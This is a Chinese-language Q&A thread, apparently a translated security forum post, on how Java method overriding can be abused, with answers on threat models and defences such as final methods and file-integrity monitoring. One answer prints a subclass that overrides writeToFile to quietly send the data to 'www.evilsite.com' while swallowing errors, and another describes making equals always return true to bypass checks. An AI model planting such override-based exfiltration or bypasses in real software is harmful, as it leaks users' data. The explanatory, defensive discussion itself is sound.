如何使用Java方法覆盖进行攻击?

信息安全 爪哇
2021-08-24 11:48:21

我已经看到各种资源警告 Java 中方法覆盖的潜在危害(请参阅下面的参考资料)。

https://www.securecoding.cert.org/confluence/display/java/OBJ57-J.+Do+not+rely+on+methods+that+can+be+overridden+by+untrusted+code

http://faculty.salisbury.edu/~xswang/Research/papers/serelated/ieeesoftware/mso2008010013.pdf

我看不到这种攻击的线程模型,即攻击者需要具备什么样的能力?

例1:如果我写了一个java app,编译成一个jar文件,那么这个jar文件是否容易受到这种攻击?

更新:鉴于第一个例子可能很广泛,人们正在提出逆向工程攻击者。我将在问题中放置一个更具约束性的示例。

示例 2:当我在我的机器上运行一些 java 应用程序并且攻击者只能访问我的 java API 接口时,他可以发起这种攻击吗?

4个回答

当您创建 .jar 文件、将其部署到系统上并运行它时,它本身并不比使用任何其他技术开发的任何其他应用程序更容易受到攻击。

当攻击者已经可以将 Java 代码注入您的应用程序时,这些文章中描述的攻击是相关的。例如,当您的应用程序在运行时使用ClassLoader不受您(或您的用户)控制的源加载类时。这些文章只是重申每个应用程序开发人员都应该知道的:不要加载和执行不受信任的代码当你不做那样的事情时,你就没有什么需要担心的了。

这些文章主要揭穿了可以通过依赖 JAVA 可见性功能构建沙盒插件执行环境的误解。假设您要构建一个 Java 应用程序,用户可以在其中从 Web 下载扩展。这可以通过下载 .class 文件并在运行时使用 .class 文件加载ClassLoader但是你想限制这些扩展可以做什么和不能做什么。您能否将您不希望这些扩展访问的任何数据声明为private不,这不起作用,因为有一些技巧可以颠覆这些访问修饰符。

一旦有人可以访问 jar 文件,反编译它是一个相对简单的操作,所以我很好奇围绕防篡改 Java 应用程序存在哪些安全实践。

至于手头的问题。假设一个类有一个未声明为 final 的 equals 方法。如果 equals 方法返回 true,它使您可以访问关键资源。您可以创建一个以原始类为父类的类,并在父类中定义一个具有相同名称和参数的方法。使此方法始终返回 true。

您现在可以将派生类传递给任何接受原始父类作为参数的函数。当调用 equals 方法时,它将返回 true,因为您“覆盖”了该方法。它永远不会称父母为平等阶级,因为你没有在你的黑客中调用 super.equals 。

一些工具(例如 Collabnet Subversion)允许您上传实现接口的 jar 文件,以创建事件处理程序和其他类型的功能定制。仔细覆盖绕过安全检查的关键方法可能是比已知的更常见的漏洞。我认为许多工具供应商都依赖管理权限来上传自定义项来保护它们。

使用继承的覆盖方法

如果我们只是严格地谈论使用继承来覆盖您无权访问源代码的现有应用程序上的方法,那么@objlass 有点偏离主题。

这是因为如果您创建一个扩展新类的新类,并且只是覆盖一个方法并将其放在正在运行的应用程序的类文件夹中,则不会发生任何事情。这是考虑到您没有做复杂的事情,例如反编译和修改现有代码。

但是,如果您有像 Spring 这样的 DI 管理器,您可以通过编辑 XML 文件来更改注入的类,这样您就可以用原来的 bean 替换您自己的 bean。

切入点

另一种攻击也不是覆盖方法,通过使用方面添加切点,这也可以通过使用像 Spring 这样的框架来完成。

为了应用程序的安全,我只听说有些项目禁止任何库添加使用切面添加切入点的功能。

在 Java 中注入代码可能更容易这一事实并没有多大意义,您可以只考虑如果有人能够访问您的应用程序服务器,则服务器已损坏。

使用背书文件夹覆盖类

另一种破解方法是使用 Java 的认可机制,这是一个特定的地方,所有放在这里的 JAR 优先于所有其他 JAR。所以这意味着你甚至可以覆盖像 Java.lang.String 这样的类型。或者不用派生一个类来替换它或添加切入点,您可以只获取类(源代码或反编译 .class)对其进行修改、编译、放入 JAR 并将其放置在背书文件夹中。

请注意,例如 apache Tomcat 已经拥有一个“认可”文件夹,用于覆盖他在内部需要的任何库以拥有正确版本的类。您可以打开其中一个 JARS 并在其中添加您的课程。

防止这些方法

系统管理员应该如何检测到这一点?好吧,实际上我看到了一些非常简单的解决方案:一个脚本,它定期(cron ...:p)检查服务器上的任何文件(期望 /var/log 上的 movd 日志或其他文件)是否已更改并将其报告给系统管理员如果是这样。

因为无论您采用哪种方式,如果您无法在源代码进入服务器之前对其进行更改,那么您将不得不修改文件并检测到这实际上非常容易。

为了更进一步,您可以使用所有服务器文件和正在运行的脚本的计算 md5 哈希(并且仍在检查文件大小!)(以防有人试图将外部文件夹添加到类路径)。

最后,我在这里所说的实现起来非常简单,可能还有更聪明的方法可以做到这一点,但是我没有这方面的必要知识。

编辑 :

感谢@ojblass 指出有一个名为 Tripwire 的包,它将为您监视文件/目录,并在发生某些事情时执行您想要的命令。

我看不到这种攻击的线程模型,即攻击者需要具备什么样的能力?

我相信你在这里的意思是“威胁模型”,如果我错了,我会相应地修改。

威胁模型需要一点思考,但危险就在那里。

在简单的情况下,我所要做的就是编写另一个与目标类具有相同包和类名的类,然后确保我的恶意类在你的类路径上加载。

更复杂的情况(也更常见)是应用程序公开 API 以扩展功能。这个例子是人为的,但它会起到说明作用。想象一个应用程序公开了一个对文件系统执行操作的类。

假设我有一个将文件写入路径的方法:

package com.foo;

public class HostClass {

    public void writeToFile(byte[] data, String path){
        //dostuff
    }
}

假设这个应用程序将像工厂生产线一样处理这样的 POJO。

我会写我自己的课:

package com.foo;

import java.io.DataOutputStream;
import java.io.IOException;
import java.net.InetAddress;
import java.net.Socket;

public class ClientClass extends HostClass {

    @Override
    public void writeToFile(byte[] data, String path){
        try {
            InetAddress address = InetAddress.getByName("http://www.evilsite.com");
            Socket s = new Socket(address, 443);
            DataOutputStream out = new DataOutputStream(s.getOutputStream());
            out.write(data);
        } catch (IOException e) {
            //swallow to hide
        }
        //dostuff
    }
}

所以...任何由这个 API 写入的数据现在也将被发送到我选择的地方。

这可能不是设计师的本意。但是,因为我可以覆盖该方法,所以这是可能的。

这更像是一个机会主义的错误,而不是像 XSS 或缓冲区溢出这样更普遍可利用的东西。正确的应用程序必须公开正确的界面,并且它必须执行足够敏感的功能,我敢于选择它们。

威胁模型非常笼统:分析您的应用程序。

如何避免:

package com.foo;

public class HostClass {

    public final void writeToFile(byte[] data, String path){
        //dostuff
    }
}

这可以通过确保执行敏感功能的任何方法都不能被覆盖来避免。如果您在编码时遵循最小权限原则,则永远不应将此视为真正的问题。(不要忘记输入验证path